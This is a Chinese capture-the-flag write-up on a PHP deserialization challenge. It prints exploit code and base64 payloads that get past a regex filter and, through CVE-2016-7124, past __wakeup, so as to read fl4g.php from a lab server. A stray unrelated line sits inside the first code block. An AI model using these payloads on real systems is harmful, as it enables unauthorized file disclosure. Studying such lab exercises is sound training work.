CTF-攻防世界-Web_php_unserialize(PHP反序列化)
题⽬
解题过程
PHP反序列化的⼀道题,从代码看出flage在fl4g.php这个⽂件⾥⾯,Demo类的构造⽅法可以传⼊⽂件名。把Demo的代码贴到本地做⼀下序列化
class Demo {
private$file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
php8兼容php7吗}
}
$demo = new Demo('fl4g.php');
$serialized_data = serialize($demo);
echo$serialized_data;
View Code
得到序列化结果:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";},通过var参数传⼊,这⾥有两个问题:
1.var参数要先进⾏base64编码
调⽤php⾃带的base64_encode函数进⾏编码
2.要绕过正则检查
/[oc]:\d+:/i这个正则绕过书上看见过(所以没事要多看书 >_< ),O后⾯加上+就可以了:O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
最后访问连接:220.249.52.133:36207/index.php?
var=TzorNDoiRGVtbyI6MTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
嗯,失败了,因为__wakeup有判断⽂件名不是index.php就⾃动跳回index.php页⾯。。。
所以还有第3步要做,绕过__wakeup的检查,这个正好也在书上看见过(再次印证没事要多看书 >_< )
CVE-2016-7124:__wakeup失效,当属性个数不正确时,PHP不会调⽤__wakeup()。影响版本PHP5-PHP5.6.25,PHP7-PHP7.0.10。修改属性个数1为2:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},在进⾏编码后传⼊var参数
最终的代码:
class Demo {
private$file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$demo = new Demo('fl4g.php');
$serialized_data = serialize($demo);
$str=str_replace('O:4', 'O:+4',$serialized_data);
$str=str_replace(':1:', ':2:',$str);
echo base64_encode($str);
View Code
这⾥有⼀个坑,base64编码必须调⽤php⾃带的编码函数才⾏,直接拿去在线base64编码的结果⽆法拿到flag,原因不明。。。
访问链接:220.249.52.133:36207/index.php?
var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
拿到flag: